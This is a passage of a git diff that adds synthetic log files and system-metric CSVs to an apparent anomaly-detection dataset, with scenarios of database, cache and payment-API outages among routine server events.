web-app[3451]: INFO: User 'alex' logged in successfully from ip 192.168.2.10 +Jul 15 14:00:58 web-app[3451]: DEBUG: Query executed: SELECT * FROM products WHERE id=? +Jul 15 14:01:00 web-app[3451]: INFO: Background job 'cache-cleanup' started. +Jul 15 14:01:06 web-app[3451]: INFO: User 'alex' logged in successfully from ip 192.168.2.10 +Jul 15 14:01:12 web-app[3451]: INFO: Background job 'cache-cleanup' finished in 1.23s. +Jul 15 14:01:19 web-app[3451]: INFO: GET /api/v1/dashboard HTTP/1.1 200 OK +Jul 15 14:01:24 web-app[3451]: INFO: Background job 'cache-cleanup' started. +Jul 15 14:01:27 web-app[3451]: DEBUG: Query executed: SELECT * FROM products WHERE id=? +Jul 15 14:01:32 web-app[3451]: DEBUG: Query executed: SELECT * FROM products WHERE id=? +Jul 15 14:01:36 web-app[3451]: INFO: Background job 'cache-cleanup' finished in 1.23s. +Jul 15 14:01:40 web-app[3451]: INFO: Background job 'cache-cleanup' started. +Jul 15 14:01:46 web-app[3451]: INFO: Background job 'cache-cleanup' finished in 1.23s. +Jul 15 14:01:52 web-app[3451]: INFO: GET /api/v1/dashboard HTTP/1.1 200 OK +Jul 15 14:01:56 web-app[3451]: INFO: Background job 'cache-cleanup' started. +Jul 15 14:02:02 web-app[3451]: INFO: GET /api/v1/dashboard HTTP/1.1 200 OK +Jul 15 14:02:07 web-app[3451]: INFO: GET /api/v1/dashboard HTTP/1.1 200 OK +Jul 15 14:02:12 web-app[3451]: INFO: User 'alex' logged in successfully from ip 192.168.2.10 +Jul 15 14:02:17 web-app[3451]: INFO: User 'alex' logged in successfully from ip 192.168.2.10 +Jul 15 14:02:22 web-app[3451]: INFO: Background job 'cache-cleanup' finished in 1.23s. +Jul 15 14:02:25 web-app[3451]: INFO: Background job 'cache-cleanup' finished in 1.23s. +Jul 15 14:02:31 web-app[3451]: INFO: Background job 'cache-cleanup' started. +Jul 15 14:02:32 web-app[3451]: CRITICAL: Failed to connect to cache server redis://redis.prod.internal:6379 - connection refused. +Jul 15 14:02:39 web-app[3451]: INFO: GET /api/v1/dashboard HTTP/1.1 200 OK +Jul 15 14:02:41 web-app[3451]: INFO: User 'alex' logged in successfully from ip 192.168.2.10 +Jul 15 14:02:44 web-app[3451]: ERROR: All retries failed for database 'products-db@10.0.1.15'. Aborting transaction. +Jul 15 14:02:48 web-app[3451]: INFO: Background job 'cache-cleanup' started. +Jul 15 14:02:50 web-app[3451]: INFO: GET /api/v1/dashboard HTTP/1.1 200 OK +Jul 15 14:02:51 web-app[3451]: ERROR: Payment API call to api.paymentprovider.com failed with status 503 Service Unavailable. +Jul 15 14:02:59 web-app[3451]: INFO: User 'alex' logged in successfully from ip 192.168.2.10 +Jul 15 14:03:03 web-app[3451]: INFO: GET /api/v1/dashboard HTTP/1.1 200 OK +Jul 15 14:03:06 web-app[3451]: WARN: Retrying connection to payment API (attempt 2/5)... +Jul 15 14:03:07 web-app[3451]: INFO: User 'alex' logged in successfully from ip 192.168.2.10 +Jul 15 14:03:11 web-app[3451]: DEBUG: Query executed: SELECT * FROM products WHERE id=? +Jul 15 14:03:13 web-app[3451]: ERROR: Payment API call to api.paymentprovider.com failed with status 503 Service Unavailable. +Jul 15 14:03:15 web-app[3451]: INFO: Background job 'cache-cleanup' finished in 1.23s. +Jul 15 14:03:23 web-app[3451]: INFO: Background job 'cache-cleanup' finished in 1.23s. +Jul 15 14:03:24 web-app[3451]: WARN: Retrying connection to payment API (attempt 2/5)... +Jul 15 14:03:25 web-app[3451]: INFO: Background job 'cache-cleanup' started. +Jul 15 14:03:30 web-app[3451]: INFO: Service health check failed for dependency 'database' +Jul 15 14:03:31 web-app[3451]: INFO: GET /api/v1/dashboard HTTP/1.1 200 OK +Jul 15 14:03:36 web-app[3451]: CRITICAL: Failed to connect to cache server redis://redis.prod.internal:6379 - connection refused. +Jul 15 14:03:36 web-app[3451]: DEBUG: Query executed: SELECT * FROM products WHERE id=? +Jul 15 14:03:40 web-app[3451]: INFO: Background job 'cache-cleanup' started. +Jul 15 14:03:43 web-app[3451]: ERROR: Connection to database 'products-db@10.0.1.15' timed out after 3000ms +Jul 15 14:03:45 web-app[3451]: ERROR: All retries failed for database 'products-db@10.0.1.15'. Aborting transaction. +Jul 15 14:03:49 web-app[3451]: DEBUG: Query executed: SELECT * FROM products WHERE id=? +Jul 15 14:03:51 web-app[3451]: ERROR: All retries failed for database 'products-db@10.0.1.15'. Aborting transaction. +Jul 15 14:03:52 web-app[3451]: INFO: Background job 'cache-cleanup' started. +Jul 15 14:03:57 web-app[3451]: INFO: Background job 'cache-cleanup' finished in 1.23s. +Jul 15 14:03:59 web-app[3451]: CRITICAL: Failed to connect to cache server redis://redis.prod.internal:6379 - connection refused. +Jul 15 14:04:00 web-app[3451]: WARN: Retrying connection to payment API (attempt 2/5)... +Jul 15 14:04:03 web-app[3451]: INFO: GET /api/v1/dashboard HTTP/1.1 200 OK +Jul 15 14:04:07 web-app[3451]: INFO: User 'alex' logged in successfully from ip 192.168.2.10 +Jul 15 14:04:08 web-app[3451]: ERROR: All retries failed for database 'products-db@10.0.1.15'. Aborting transaction. +Jul 15 14:04:10 web-app[3451]: INFO: User 'alex' logged in successfully from ip 192.168.2.10 +Jul 15 14:04:13 web-app[3451]: WARN: Retrying connection to payment API (attempt 2/5)... +Jul 15 14:04:17 web-app[3451]: ERROR: Payment API call to api.paymentprovider.com failed with status 503 Service Unavailable. +Jul 15 14:04:18 web-app[3451]: DEBUG: Query executed: SELECT * FROM products WHERE id=? +Jul 15 14:04:23 web-app[3451]: CRITICAL: Failed to connect to cache server redis://redis.prod.internal:6379 - connection refused. +Jul 15 14:04:24 web-app[3451]: INFO: Background job 'cache-cleanup' started. +Jul 15 14:04:26 web-app[3451]: INFO: GET /api/v1/dashboard HTTP/1.1 200 OK +Jul 15 14:04:29 web-app[3451]: ERROR: Connection to database 'products-db@10.0.1.15' timed out after 3000ms +Jul 15 14:04:32 web-app[3451]: INFO: Background job 'cache-cleanup' finished in 1.23s. +Jul 15 14:04:33 web-app[3451]: WARN: Retrying connection to payment API (attempt 2/5)... +Jul 15 14:04:39 web-app[3451]: DEBUG: Query executed: SELECT * FROM products WHERE id=? +Jul 15 14:04:39 web-app[3451]: ERROR: Payment API call to api.paymentprovider.com failed with status 503 Service Unavailable. +Jul 15 14:04:44 web-app[3451]: CRITICAL: Failed to connect to cache server redis://redis.prod.internal:6379 - connection refused. +Jul 15 14:04:44 web-app[3451]: DEBUG: Query executed: SELECT * FROM products WHERE id=? +Jul 15 14:04:45 web-app[3451]: ERROR: All retries failed for database 'products-db@10.0.1.15'. Aborting transaction. +Jul 15 14:04:49 web-app[3451]: INFO: Background job 'cache-cleanup' started. +Jul 15 14:04:52 web-app[3451]: ERROR: All retries failed for database 'products-db@10.0.1.15'. Aborting transaction. +Jul 15 14:04:53 web-app[3451]: INFO: User 'alex' logged in successfully from ip 192.168.2.10 +Jul 15 14:04:58 web-app[3451]: CRITICAL: Failed to connect to cache server redis://redis.prod.internal:6379 - connection refused. +Jul 15 14:04:59 web-app[3451]: DEBUG: Query executed: SELECT * FROM products WHERE id=? +Jul 15 14:05:01 web-app[3451]: INFO: Background job 'cache-cleanup' started. +Jul 15 14:05:08 web-app[3451]: ERROR: Connection to database 'products-db@10.0.1.15' timed out after 3000ms +Jul 15 14:05:08 web-app[3451]: INFO: User 'alex' logged in successfully from ip 192.168.2.10 +Jul 15 14:05:11 web-app[3451]: CRITICAL: Failed to connect to cache server redis://redis.prod.internal:6379 - connection refused. +Jul 15 14:05:12 web-app[3451]: DEBUG: Query executed: SELECT * FROM products WHERE id=? +Jul 15 14:05:15 web-app[3451]: INFO: Background job 'cache-cleanup' finished in 1.23s. +Jul 15 14:05:19 web-app[3451]: WARN: Retrying connection to payment API (attempt 2/5)... +Jul 15 14:05:21 web-app[3451]: INFO: GET /api/v1/dashboard HTTP/1.1 200 OK +Jul 15 14:05:22 web-app[3451]: ERROR: All retries failed for database 'products-db@10.0.1.15'. Aborting transaction. +Jul 15 14:05:25 web-app[3451]: INFO: Background job 'cache-cleanup' started. +Jul 15 14:05:29 web-app[3451]: INFO: Service health check failed for dependency 'database' +Jul 15 14:05:33 web-app[3451]: INFO: Background job 'cache-cleanup' finished in 1.23s. +Jul 15 14:05:34 web-app[3451]: ERROR: Connection to database 'products-db@10.0.1.15' timed out after 3000ms +Jul 15 14:05:35 web-app[3451]: INFO: Background job 'cache-cleanup' started. +Jul 15 14:05:37 web-app[3451]: ERROR: Connection to database 'products-db@10.0.1.15' timed out after 3000ms +Jul 15 14:05:44 web-app[3451]: INFO: Background job 'cache-cleanup' started. +Jul 15 14:05:45 web-app[3451]: INFO: User 'alex' logged in successfully from ip 192.168.2.10 +Jul 15 14:05:50 web-app[3451]: INFO: Background job 'cache-cleanup' finished in 1.23s. +Jul 15 14:05:56 web-app[3451]: INFO: GET /api/v1/dashboard HTTP/1.1 200 OK +Jul 15 14:06:01 web-app[3451]: INFO: User 'alex' logged in successfully from ip 192.168.2.10 +Jul 15 14:06:09 web-app[3451]: INFO: GET /api/v1/dashboard HTTP/1.1 200 OK +Jul 15 14:06:11 web-app[3451]: INFO: GET /api/v1/dashboard HTTP/1.1 200 OK +Jul 15 14:06:15 web-app[3451]: INFO: Background job 'cache-cleanup' finished in 1.23s. +Jul 15 14:06:21 web-app[3451]: INFO: User 'alex' logged in successfully from ip 192.168.2.10 +Jul 15 14:06:25 web-app[3451]: INFO: GET /api/v1/dashboard HTTP/1.1 200 OK +Jul 15 14:06:31 web-app[3451]: DEBUG: Query executed: SELECT * FROM products WHERE id=? +Jul 15 14:06:37 web-app[3451]: DEBUG: Query executed: SELECT * FROM products WHERE id=? +Jul 15 14:06:40 web-app[3451]: INFO: Background job 'cache-cleanup' finished in 1.23s. +Jul 15 14:06:47 web-app[3451]: INFO: GET /api/v1/dashboard HTTP/1.1 200 OK +Jul 15 14:06:52 web-app[3451]: INFO: Background job 'cache-cleanup' started. +Jul 15 14:06:56 web-app[3451]: INFO: Background job 'cache-cleanup' finished in 1.23s. +Jul 15 14:07:02 web-app[3451]: DEBUG: Query executed: SELECT * FROM products WHERE id=? +Jul 15 14:07:07 web-app[3451]: INFO: Background job 'cache-cleanup' finished in 1.23s. +Jul 15 14:07:14 web-app[3451]: INFO: GET /api/v1/dashboard HTTP/1.1 200 OK +Jul 15 14:07:15 web-app[3451]: DEBUG: Query executed: SELECT * FROM products WHERE id=? +Jul 15 14:07:23 web-app[3451]: INFO: Background job 'cache-cleanup' finished in 1.23s. +Jul 15 14:07:25 web-app[3451]: INFO: Background job 'cache-cleanup' finished in 1.23s. diff --git a/anom_dataset/scenario_13/anom_13_10.csv b/anom_dataset/scenario_13/anom_13_10.csv new file mode 100644 index 0000000000000000000000000000000000000000..03c96a237bf484d9773db5bea60c21fdb03a7545 --- /dev/null +++ b/anom_dataset/scenario_13/anom_13_10.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-03T14:00:00Z,9.181889254243892,36.97671822506931,30.791073719118316,1.1403710267856346,1.1484698813668133 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+2025-07-03T14:07:25Z,14.985016133159196,39.876930260859304,26.191080144548366,0.9167408721076657,1.520485838529208 diff --git a/anom_dataset/scenario_13/anom_13_10.log b/anom_dataset/scenario_13/anom_13_10.log new file mode 100644 index 0000000000000000000000000000000000000000..7c309a46097b0916e827f1ae927a76956592378b --- /dev/null +++ b/anom_dataset/scenario_13/anom_13_10.log @@ -0,0 +1,33 @@ +Jul 03 14:00:00 CRON[7890]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 14:00:10 systemd[1]: Starting daily clean up activities... +Jul 03 14:00:20 app-server[3456]: GET /api/v1/health status=200 OK +Jul 03 14:00:30 app-server[3456]: GET /api/v1/health status=200 OK +Jul 03 14:01:30 systemd[1]: Starting daily clean up activities... +Jul 03 14:01:40 CRON[7890]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 14:01:50 kubelet[1122]: INFO Liveness probe succeeded for pod api-gateway +Jul 03 14:02:00 CRON[7890]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 14:02:20 app-server[3456]: GET /api/v1/health status=200 OK +Jul 03 14:02:30 database-connector[4321]: ERROR Failed to connect to primary database 'db-main-1': timeout +Jul 03 14:02:40 api-gateway[5678]: GET /api/v1/products status=503 Service Unavailable +Jul 03 14:02:50 database-connector[4321]: ERROR Failed to connect to primary database 'db-main-1': timeout +Jul 03 14:03:00 api-gateway[5678]: GET /api/v1/products status=503 Service Unavailable +Jul 03 14:03:10 api-gateway[5678]: ERROR connecting to database: Connection timed out after 3000ms +Jul 03 14:03:20 api-gateway[5678]: GET /api/v1/products status=503 Service Unavailable +Jul 03 14:03:30 api-gateway[5678]: ERROR connecting to database: Connection timed out after 3000ms +Jul 03 14:03:40 database-connector[4321]: ERROR Failed to connect to primary database 'db-main-1': timeout +Jul 03 14:03:50 kubelet[1122]: INFO Liveness probe succeeded for pod api-gateway +Jul 03 14:04:00 app-server[3456]: GET /api/v1/health status=200 OK +Jul 03 14:04:10 database-connector[4321]: WARN upstream service 'payment-processor' is unavailable, retrying in 10s +Jul 03 14:04:20 api-gateway[5678]: ERROR connecting to database: Connection timed out after 3000ms +Jul 03 14:04:30 database-connector[4321]: ERROR Failed to connect to primary database 'db-main-1': timeout +Jul 03 14:04:40 api-gateway[5678]: GET /api/v1/orders status=503 Service Unavailable +Jul 03 14:04:50 database-connector[4321]: WARN upstream service 'payment-processor' is unavailable, retrying in 10s +Jul 03 14:05:20 app-server[3456]: POST /api/v1/login status=200 OK +Jul 03 14:05:40 app-server[3456]: POST /api/v1/login status=200 OK +Jul 03 14:05:50 app-server[3456]: GET /api/v1/health status=200 OK +Jul 03 14:06:20 CRON[7890]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 14:06:30 app-server[3456]: GET /api/v1/health status=200 OK +Jul 03 14:06:40 app-server[3456]: POST /api/v1/login status=200 OK +Jul 03 14:07:00 kubelet[1122]: INFO Liveness probe succeeded for pod api-gateway +Jul 03 14:07:10 systemd[1]: Starting daily clean up activities... +Jul 03 14:07:20 systemd[1]: Starting daily clean up activities... diff --git a/anom_dataset/scenario_13/anom_13_11.csv b/anom_dataset/scenario_13/anom_13_11.csv new file mode 100644 index 0000000000000000000000000000000000000000..03c96a237bf484d9773db5bea60c21fdb03a7545 --- /dev/null +++ b/anom_dataset/scenario_13/anom_13_11.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-03T14:00:00Z,9.181889254243892,36.97671822506931,30.791073719118316,1.1403710267856346,1.1484698813668133 +2025-07-03T14:00:05Z,16.147347104341982,44.0717834185436,30.38267959495542,1.1777204993690495,0.9745595908236685 +2025-07-03T14:00:10Z,15.98792644680296,39.960590933049296,33.40817438424211,1.2158006945104578,1.0034953540103708 +2025-07-03T14:00:15Z,12.229648144985717,37.66643546427007,33.17889275777114,1.5619282920526427,1.0689928700708855 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CRON[7890]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 14:00:10 systemd[1]: Starting daily clean up activities... +Jul 03 14:00:20 app-server[3456]: GET /api/v1/health status=200 OK +Jul 03 14:00:30 app-server[3456]: GET /api/v1/health status=200 OK +Jul 03 14:01:30 systemd[1]: Starting daily clean up activities... +Jul 03 14:01:40 CRON[7890]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 14:01:50 kubelet[1122]: INFO Liveness probe succeeded for pod api-gateway +Jul 03 14:02:00 CRON[7890]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 14:02:20 app-server[3456]: GET /api/v1/health status=200 OK +Jul 03 14:02:30 database-connector[4321]: ERROR Failed to connect to primary database 'db-main-1': timeout +Jul 03 14:02:40 api-gateway[5678]: GET /api/v1/products status=503 Service Unavailable +Jul 03 14:02:50 database-connector[4321]: ERROR Failed to connect to primary database 'db-main-1': timeout +Jul 03 14:03:00 api-gateway[5678]: GET /api/v1/products status=503 Service Unavailable +Jul 03 14:03:10 api-gateway[5678]: ERROR connecting to database: Connection timed out after 3000ms +Jul 03 14:03:20 api-gateway[5678]: GET /api/v1/products status=503 Service Unavailable +Jul 03 14:03:30 api-gateway[5678]: ERROR connecting to database: Connection timed out after 3000ms +Jul 03 14:03:40 database-connector[4321]: ERROR Failed to connect to primary database 'db-main-1': timeout +Jul 03 14:03:50 kubelet[1122]: INFO Liveness probe succeeded for pod api-gateway +Jul 03 14:04:00 app-server[3456]: GET /api/v1/health status=200 OK +Jul 03 14:04:10 database-connector[4321]: WARN upstream service 'payment-processor' is unavailable, retrying in 10s +Jul 03 14:04:20 api-gateway[5678]: ERROR connecting to database: Connection timed out after 3000ms +Jul 03 14:04:30 database-connector[4321]: ERROR Failed to connect to primary database 'db-main-1': timeout +Jul 03 14:04:40 api-gateway[5678]: GET /api/v1/orders status=503 Service Unavailable +Jul 03 14:04:50 database-connector[4321]: WARN upstream service 'payment-processor' is unavailable, retrying in 10s +Jul 03 14:05:20 app-server[3456]: POST /api/v1/login status=200 OK +Jul 03 14:05:40 app-server[3456]: POST /api/v1/login status=200 OK +Jul 03 14:05:50 app-server[3456]: GET /api/v1/health status=200 OK +Jul 03 14:06:20 CRON[7890]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 14:06:30 app-server[3456]: GET /api/v1/health status=200 OK +Jul 03 14:06:40 app-server[3456]: POST /api/v1/login status=200 OK +Jul 03 14:07:00 kubelet[1122]: INFO Liveness probe succeeded for pod api-gateway +Jul 03 14:07:10 systemd[1]: Starting daily clean up activities... +Jul 03 14:07:20 systemd[1]: Starting daily clean up activities... diff --git a/anom_dataset/scenario_13/anom_13_12.csv b/anom_dataset/scenario_13/anom_13_12.csv new file mode 100644 index 0000000000000000000000000000000000000000..810f693652800c4c8e4fb225b48ff9dc52331e4b --- /dev/null +++ b/anom_dataset/scenario_13/anom_13_12.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-13T14:00:00Z,17.06,51.8,19.78,0.91,1.52 +2025-07-13T14:00:05Z,13.15,35.5,28.28,1.19,1.12 +2025-07-13T14:00:10Z,14.42,46.9,25.13,1.25,0.92 +2025-07-13T14:00:15Z,12.93,40.19,32.64,1.02,1.32 +2025-07-13T14:00:20Z,12.32,44.35,28.7,1.03,0.85 +2025-07-13T14:00:25Z,15.21,45.7,27.28,0.99,1.24 +2025-07-13T14:00:30Z,13.32,44.62,32.02,0.69,1.0 +2025-07-13T14:00:35Z,13.26,39.47,34.01,1.19,1.49 +2025-07-13T14:00:40Z,16.17,41.56,34.12,1.6,1.29 +2025-07-13T14:00:45Z,8.78,42.82,21.49,0.9,0.91 +2025-07-13T14:00:50Z,10.17,35.74,30.81,1.33,0.9 +2025-07-13T14:00:55Z,11.3,47.98,30.77,1.35,1.13 +2025-07-13T14:01:00Z,20.41,34.97,31.22,1.05,1.03 +2025-07-13T14:01:05Z,18.66,38.15,33.93,1.22,0.41 +2025-07-13T14:01:10Z,18.02,43.27,24.87,1.09,0.72 +2025-07-13T14:01:15Z,16.59,33.42,25.92,0.98,0.9 +2025-07-13T14:01:20Z,15.29,35.61,29.92,1.01,1.35 +2025-07-13T14:01:25Z,16.26,36.61,24.91,1.39,0.74 +2025-07-13T14:01:30Z,14.34,40.77,37.24,1.12,0.81 +2025-07-13T14:01:35Z,13.31,40.77,25.74,1.37,1.07 +2025-07-13T14:01:40Z,13.12,42.64,23.43,1.4,0.61 +2025-07-13T14:01:45Z,17.56,41.97,27.77,0.66,0.9 +2025-07-13T14:01:50Z,11.02,45.7,24.43,1.09,0.63 +2025-07-13T14:01:55Z,11.9,42.11,28.79,1.52,0.78 +2025-07-13T14:02:00Z,21.99,43.53,35.27,0.88,0.84 +2025-07-13T14:02:05Z,14.81,42.47,26.29,1.53,1.11 +2025-07-13T14:02:10Z,15.28,40.33,30.96,1.46,0.82 +2025-07-13T14:02:15Z,13.6,42.56,33.04,1.35,1.17 +2025-07-13T14:02:20Z,17.95,37.91,30.3,1.79,1.28 +2025-07-13T14:02:25Z,12.53,43.27,32.16,1.88,0.75 +2025-07-13T14:02:30Z,5.8,49.2,25.05,0.1,0.08 +2025-07-13T14:02:35Z,5.63,34.83,21.96,0.18,0.08 +2025-07-13T14:02:40Z,5.46,52.83,32.2,0.22,0.23 +2025-07-13T14:02:45Z,8.71,37.86,37.09,0.16,0.18 +2025-07-13T14:02:50Z,3.85,42.78,32.84,0.12,0.14 +2025-07-13T14:02:55Z,1.9,54.78,26.97,0.25,0.19 +2025-07-13T14:03:00Z,0.0,43.8,27.39,0.31,0.12 +2025-07-13T14:03:05Z,5.85,50.14,21.2,0.14,0.1 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+2025-07-13T14:06:30Z,23.03,41.59,35.07,0.68,1.06 +2025-07-13T14:06:35Z,9.73,44.83,30.92,1.13,1.04 +2025-07-13T14:06:40Z,18.77,43.32,33.07,1.28,0.93 +2025-07-13T14:06:45Z,15.18,37.18,32.93,1.1,1.16 +2025-07-13T14:06:50Z,14.06,46.04,32.27,1.64,0.93 +2025-07-13T14:06:55Z,11.88,37.94,30.46,1.16,0.82 +2025-07-13T14:07:00Z,13.22,37.48,27.95,1.14,0.75 +2025-07-13T14:07:05Z,14.27,49.86,25.36,1.09,0.71 +2025-07-13T14:07:10Z,21.11,38.62,24.92,1.39,0.96 +2025-07-13T14:07:15Z,12.58,40.07,28.14,1.12,1.31 +2025-07-13T14:07:20Z,19.03,46.66,30.22,1.01,0.79 +2025-07-13T14:07:25Z,13.6,42.15,24.19,0.89,0.77 diff --git a/anom_dataset/scenario_13/anom_13_12.log b/anom_dataset/scenario_13/anom_13_12.log new file mode 100644 index 0000000000000000000000000000000000000000..944f6487b3b9c3d6ff78649d354420e6d309fe96 --- /dev/null +++ b/anom_dataset/scenario_13/anom_13_12.log @@ -0,0 +1,63 @@ +Jul 13 14:00:00 systemd[1]: Starting daily clean up activities... +Jul 13 14:00:00 web-app[3456]: GET /api/v1/user/profile status=200 OK +Jul 13 14:00:35 systemd[1]: Starting daily clean up activities... +Jul 13 14:00:45 web-app[3456]: GET /api/v1/user/profile status=200 OK +Jul 13 14:01:10 systemd[1]: Starting daily clean up activities... +Jul 13 14:01:30 web-app[3456]: GET /api/v1/user/profile status=200 OK +Jul 13 14:01:45 systemd[1]: Starting daily clean up activities... +Jul 13 14:02:15 web-app[3456]: GET /api/v1/user/profile status=200 OK +Jul 13 14:02:20 systemd[1]: Starting daily clean up activities... +Jul 13 14:02:30 api-gateway[5432]: ERROR Failed to connect to downstream service 'user-database': Connection timed out +Jul 13 14:02:35 api-gateway[5432]: GET /api/v1/users status=503 Service Unavailable +Jul 13 14:02:40 api-gateway[5432]: ERROR Failed to connect to downstream service 'user-database': Connection timed out +Jul 13 14:02:45 api-gateway[5432]: GET /api/v1/users status=503 Service Unavailable +Jul 13 14:02:50 api-gateway[5432]: ERROR Failed to connect to downstream service 'user-database': Connection timed out +Jul 13 14:02:55 systemd[1]: Starting daily clean up activities... +Jul 13 14:02:55 api-gateway[5432]: GET /api/v1/users status=503 Service Unavailable +Jul 13 14:03:00 web-app[3456]: GET /api/v1/user/profile status=200 OK +Jul 13 14:03:00 api-gateway[5432]: ERROR Failed to connect to downstream service 'user-database': Connection timed out +Jul 13 14:03:05 api-gateway[5432]: GET /api/v1/users status=503 Service Unavailable +Jul 13 14:03:10 api-gateway[5432]: ERROR Failed to connect to downstream service 'user-database': Connection timed out +Jul 13 14:03:15 api-gateway[5432]: GET /api/v1/users status=503 Service Unavailable +Jul 13 14:03:20 api-gateway[5432]: ERROR Failed to connect to downstream service 'user-database': Connection timed out +Jul 13 14:03:25 api-gateway[5432]: GET /api/v1/users status=503 Service Unavailable +Jul 13 14:03:30 systemd[1]: Starting daily clean up activities... +Jul 13 14:03:30 api-gateway[5432]: ERROR Failed to connect to downstream service 'user-database': Connection timed out +Jul 13 14:03:35 api-gateway[5432]: GET /api/v1/users status=503 Service Unavailable +Jul 13 14:03:40 api-gateway[5432]: ERROR Failed to connect to downstream service 'user-database': Connection timed out +Jul 13 14:03:45 web-app[3456]: GET /api/v1/user/profile status=200 OK +Jul 13 14:03:45 api-gateway[5432]: GET /api/v1/users status=503 Service Unavailable +Jul 13 14:03:50 api-gateway[5432]: ERROR Failed to connect to downstream service 'user-database': Connection timed out +Jul 13 14:03:55 api-gateway[5432]: GET /api/v1/users status=503 Service Unavailable +Jul 13 14:04:00 api-gateway[5432]: ERROR Failed to connect to downstream service 'user-database': Connection timed out +Jul 13 14:04:05 systemd[1]: Starting daily clean up activities... +Jul 13 14:04:05 api-gateway[5432]: GET /api/v1/users status=503 Service Unavailable +Jul 13 14:04:10 api-gateway[5432]: ERROR Failed to connect to downstream service 'user-database': Connection timed out +Jul 13 14:04:15 api-gateway[5432]: GET /api/v1/users status=503 Service Unavailable +Jul 13 14:04:20 api-gateway[5432]: ERROR Failed to connect to downstream service 'user-database': Connection timed out +Jul 13 14:04:25 api-gateway[5432]: GET /api/v1/users status=503 Service Unavailable +Jul 13 14:04:30 web-app[3456]: GET /api/v1/user/profile status=200 OK +Jul 13 14:04:30 api-gateway[5432]: ERROR Failed to connect to downstream service 'user-database': Connection timed out +Jul 13 14:04:35 api-gateway[5432]: GET /api/v1/users status=503 Service Unavailable +Jul 13 14:04:40 systemd[1]: Starting daily clean up activities... +Jul 13 14:04:40 api-gateway[5432]: ERROR Failed to connect to downstream service 'user-database': Connection timed out +Jul 13 14:04:45 api-gateway[5432]: GET /api/v1/users status=503 Service Unavailable +Jul 13 14:04:50 api-gateway[5432]: ERROR Failed to connect to downstream service 'user-database': Connection timed out +Jul 13 14:04:55 api-gateway[5432]: GET /api/v1/users status=503 Service Unavailable +Jul 13 14:05:00 api-gateway[5432]: ERROR Failed to connect to downstream service 'user-database': Connection timed out +Jul 13 14:05:05 api-gateway[5432]: GET /api/v1/users status=503 Service Unavailable +Jul 13 14:05:10 api-gateway[5432]: ERROR Failed to connect to downstream service 'user-database': Connection timed out +Jul 13 14:05:15 systemd[1]: Starting daily clean up activities... +Jul 13 14:05:15 web-app[3456]: GET /api/v1/user/profile status=200 OK +Jul 13 14:05:15 api-gateway[5432]: GET /api/v1/users status=503 Service Unavailable +Jul 13 14:05:20 api-gateway[5432]: ERROR Failed to connect to downstream service 'user-database': Connection timed out +Jul 13 14:05:25 api-gateway[5432]: GET /api/v1/users status=503 Service Unavailable +Jul 13 14:05:30 api-gateway[5432]: ERROR Failed to connect to downstream service 'user-database': Connection timed out +Jul 13 14:05:35 api-gateway[5432]: GET /api/v1/users status=503 Service Unavailable +Jul 13 14:05:40 api-gateway[5432]: ERROR Failed to connect to downstream service 'user-database': Connection timed out +Jul 13 14:05:45 api-gateway[5432]: GET /api/v1/users status=503 Service Unavailable +Jul 13 14:05:50 systemd[1]: Starting daily clean up activities... +Jul 13 14:06:00 web-app[3456]: GET /api/v1/user/profile status=200 OK +Jul 13 14:06:25 systemd[1]: Starting daily clean up activities... +Jul 13 14:06:45 web-app[3456]: GET /api/v1/user/profile status=200 OK +Jul 13 14:07:00 systemd[1]: Starting daily clean up activities... diff --git a/anom_dataset/scenario_13/anom_13_13.csv b/anom_dataset/scenario_13/anom_13_13.csv new file mode 100644 index 0000000000000000000000000000000000000000..d3d0a310938a8d2c55e88dceb612de9cee97ab88 --- /dev/null +++ b/anom_dataset/scenario_13/anom_13_13.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-13T10:00:00Z,17.78,42.97,33.37,0.88,0.73 +2025-07-13T10:00:05Z,19.37,39.64,32.83,1.07,1.23 +2025-07-13T10:00:10Z,15.15,37.73,31.3,1.26,0.94 +2025-07-13T10:00:15Z,18.64,39.3,22.37,1.47,1.05 +2025-07-13T10:00:20Z,24.16,38.58,33.97,1.55,0.84 +2025-07-13T10:00:25Z,20.09,44.61,27.8,1.14,1.06 +2025-07-13T10:00:30Z,11.26,36.41,18.04,1.07,1.17 +2025-07-13T10:00:35Z,22.57,41.32,31.88,1.19,1.43 +2025-07-13T10:00:40Z,20.74,43.67,27.29,1.34,0.9 +2025-07-13T10:00:45Z,22.64,38.81,35.17,1.25,1.02 +2025-07-13T10:00:50Z,22.56,43.05,35.29,1.28,1.04 +2025-07-13T10:00:55Z,17.2,37.87,37.9,0.88,0.78 +2025-07-13T10:01:00Z,19.66,34.43,22.43,1.16,1.5 +2025-07-13T10:01:05Z,20.66,41.23,33.81,1.26,1.02 +2025-07-13T10:01:10Z,16.52,38.02,30.71,1.07,0.6 +2025-07-13T10:01:15Z,21.53,38.58,26.49,1.16,1.02 +2025-07-13T10:01:20Z,24.93,43.13,25.81,1.19,0.96 +2025-07-13T10:01:25Z,21.71,39.32,24.43,1.35,1.22 +2025-07-13T10:01:30Z,19.79,37.33,29.89,1.16,0.94 +2025-07-13T10:01:35Z,24.8,39.8,29.42,1.46,1.09 +2025-07-13T10:01:40Z,16.69,37.09,29.24,1.3,0.91 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+2025-07-13T10:06:45Z,17.97,48.54,25.95,0.96,0.79 +2025-07-13T10:06:50Z,26.57,49.81,27.33,1.5,0.98 +2025-07-13T10:06:55Z,22.95,50.14,31.34,1.37,0.81 +2025-07-13T10:07:00Z,21.96,47.34,35.47,1.59,1.03 +2025-07-13T10:07:05Z,21.61,45.69,25.6,1.34,1.11 +2025-07-13T10:07:10Z,25.75,44.95,30.33,0.96,1.26 +2025-07-13T10:07:15Z,21.2,42.04,26.41,0.92,1.27 +2025-07-13T10:07:20Z,24.86,42.12,30.33,1.53,1.02 +2025-07-13T10:07:25Z,22.53,41.1,30.73,1.05,0.76 diff --git 